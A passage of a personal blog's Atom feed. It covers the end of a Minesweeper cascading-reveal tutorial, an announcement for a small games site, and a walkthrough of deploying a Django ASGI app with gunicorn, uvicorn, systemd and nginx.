&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;yd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# recursively check the adjacent square
&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;reveal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;yd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;board&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;already_revealed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;already_revealed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This has no checks for valid squares, but its the general idea.
This function returns an array of tile coordinates which should be revealed.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I wrote this because in the first place because I was writing my own Minesweeper game.
I hope that this helps you with getting the general idea of a Minesweeper game.
The completed version of this game is available on my &lt;a href=&quot;https://lamegames.tait.tech/&quot;&gt;lamegames&lt;/a&gt; site.
Let me know what you think!&lt;/p&gt;
&lt;p&gt;Happy hacking!&lt;/p&gt;</content><author><name></name></author><summary type="html">When I was creating a little Minesweeper game, I got confused at some points. My bomb generation didnt look quite right, and I for sure didnt quite get the whole cascading tile reveal thing. With a bit of internet research, I found what I was looking for. Ill explain it all in one place for my own research purposes.</summary></entry><entry><title type="html">lamegames.tait.tech</title><link href="http://localhost:4000/2020/09/09/lamegames/" rel="alternate" type="text/html" title="lamegames.tait.tech" /><published>2020-09-09T00:00:00-06:00</published><updated>2020-09-09T00:00:00-06:00</updated><id>http://localhost:4000/2020/09/09/lamegames</id><content type="html" xml:base="http://localhost:4000/2020/09/09/lamegames/">&lt;p&gt;This is an announcement for a new project of mine:
&lt;a href=&quot;https://lamegames.tait.tech&quot;&gt;lamegames.tait.tech&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is something Im really excited to work on!&lt;/p&gt;
&lt;p&gt;Right now, Ive just got a rock-paper-scissors game.
A chat function, and a few simple card games to come.&lt;/p&gt;
&lt;p&gt;Check out the repository on my &lt;a href=&quot;https://github.com/TTWNO/lamegames.io&quot;&gt;Github&lt;/a&gt;.&lt;/p&gt;</content><author><name></name></author><summary type="html">This is an announcement for a new project of mine: lamegames.tait.tech.</summary></entry><entry><title type="html">How to Solve The Django Deployment Puzzle</title><link href="http://localhost:4000/2020/08/18/django-deployment/" rel="alternate" type="text/html" title="How to Solve The Django Deployment Puzzle" /><published>2020-08-18T00:00:00-06:00</published><updated>2020-08-18T00:00:00-06:00</updated><id>http://localhost:4000/2020/08/18/django-deployment</id><content type="html" xml:base="http://localhost:4000/2020/08/18/django-deployment/">&lt;p&gt;A few days ago I had a Django project I wanted to put on a real server.
This project is still in its infancy, but I thought it would be nice to put it on my resume and show my friends.
Little did I know the headache coming my way.
Here are some tips to help you not make the same mistakes as me.&lt;/p&gt;
&lt;h3 id=&quot;asgi-servers&quot;&gt;ASGI Servers&lt;/h3&gt;
&lt;p&gt;Because my project used the ASGI (Asynchronous webServer Gateway Interface),
I needed to find a good production ASGI server to handle all the incoming requests.
The best thing I found was &lt;a href=&quot;http://www.uvicorn.org/&quot;&gt;uvicorn&lt;/a&gt;.
It focuses on speed, which is a priority, especially when using the ASGI protocol.&lt;/p&gt;
&lt;p&gt;To run uvicorn on the command line for testing purposes, use something like the following:&lt;/p&gt;
&lt;pre class=&quot;terminal&quot;&gt;
$ uvicorn --reload myapp.asgi:application
&lt;/pre&gt;
&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--reload&lt;/code&gt; option says to reload the server if any of the files get updated.
This is not recommended in production.
Sadly, I thought this meant I would need to do a hard shutdown of the server process every time I wanted to update.
This turned out to not be the case.&lt;/p&gt;
&lt;h3 id=&quot;workload-managers&quot;&gt;Workload Managers&lt;/h3&gt;
&lt;p&gt;There is another equine-named program called &lt;a href=&quot;https://gunicorn.org/&quot;&gt;gunicorn&lt;/a&gt;
which can hold a number of processes under its control.
An interesting feature of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gunicorn&lt;/code&gt; is that it will gracefully switch from an old to a new deployment,
replacing the subprocesses one-by-one and eventually having only the new deployment active on all subprocesses.
The greatest part? Zero down time.
The server keeps any old processes open if there is communication with them,
then shift and new connections to the new deployment.
This was a very cool feature I wanted to take advantage of.&lt;/p&gt;
&lt;p&gt;“Now hold on!” you might protest.
“gunicorn is a WSGI server!” … oh you got me there!
Yes, thats right, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gunicorn&lt;/code&gt; is paired with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uvicorn&lt;/code&gt; to serve my files.&lt;/p&gt;
&lt;h3 id=&quot;systemd&quot;&gt;systemd&lt;/h3&gt;
&lt;p&gt;Love it or hate it, the majority of Linux distributions use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemd&lt;/code&gt; init system.
I decided it would be very convenient to have a .service file for my Django application to run automatically at boot.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Systemd&lt;/code&gt; allows me to do this with a file like the following one I stored in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/lib/systemd/system/lamegames.service&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;file&quot;&gt;
[Unit]
Description=Gunicorn/Uvicorn (lamegames.io)
[Service]
WorkingDirectory=/home/lame/lamegames.io
Type=simple
RemainAfterExit=yes
ExecStart=/home/lame/lamegames.io/env/bin/gunicorn lamegames.asgi:application -w 2 -k uvicorn.workers.UvicornWorker
ExecStop=/bin/kill -HUP $MAINPID
Restart=always
[Install]
WantedBy=multi-user.target
&lt;/pre&gt;
&lt;h3 id=&quot;nginx&quot;&gt;nginx&lt;/h3&gt;
&lt;p&gt;NGINX (pronounced engine-X) is a performance web server designed for speed and simplicity.
For the front facing side of the site, I do need a production web server like nginx.
Gunicorn simply doesnt need all the features that nginx provides, but I do.
To configure my nginx installation, I used the following few directives to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Redirect most traffic towards the gunicorn server.&lt;/li&gt;
&lt;li&gt;Redirect statically served files (CSS, JS, images) to the directory specified in the STATIC_ROOT variable of my &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;settings.py&lt;/code&gt; file.&lt;/li&gt;
&lt;li&gt;Use TLS to enable https://&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Serving the static files from nginx as opposed to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gunicorn&lt;/code&gt; server is necessary.
Gunicorn and other production A/WSGI web server will not set the proper MIME type over TLS.
This will cause your browser to not load the Javascript/CSS.&lt;/p&gt;
&lt;p&gt;This is the important part of my nginx config.&lt;/p&gt;
&lt;pre class=&quot;file&quot;&gt;
server {
location / {
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
# these two lines ensure that WebSocket, and HTTP2 connection are forwarded correctly
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection &quot;Upgrade&quot;;
proxy_redirect off;
proxy_buffering off;
# this forwards all traffic to the local server on port 8000
proxy_pass http://localhost:8000;
}
# This forwards all static requests to Django's STATIC_ROOT set in settings.py; it is generated using the collectstatic command.
location /static {
autoindex on;
alias /home/lame/lamegames.io/static_generated;
}
}
&lt;/pre&gt;
&lt;h3 id=&quot;setup&quot;&gt;Setup&lt;/h3&gt;
&lt;p&gt;After all that, I was able to do the following:&lt;/p&gt;
&lt;pre class=&quot;terminal&quot;&gt;
# systemctl enable lamegames
&lt;/pre&gt;
&lt;p&gt;This enabled my &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gunicorn&lt;/code&gt; server to run once the server started.
NGINX is that way be default.&lt;/p&gt;
&lt;p&gt;And tada! You now have a working Django project on a production server!&lt;/p&gt;
&lt;h4 id=&quot;notes&quot;&gt;Notes&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;If using ws:// websockets, change them to wss:// for secure web sockets.&lt;/li&gt;
&lt;li&gt;Make sure to use channels.routing.get_default_application() instead of django.get_asgi_application() if yourre wanting to use channels/redis WebSockets.&lt;/li&gt;
&lt;/ul&gt;</content><author><name></name></author><summary type="html">A few days ago I had a Django project I wanted to put on a real server. This project is still in its infancy, but I thought it would be nice to put it on my resume and show my friends. Little did I know the headache coming my way. Here are some tips to help you not make the same mistakes as me.</summary></entry></feed>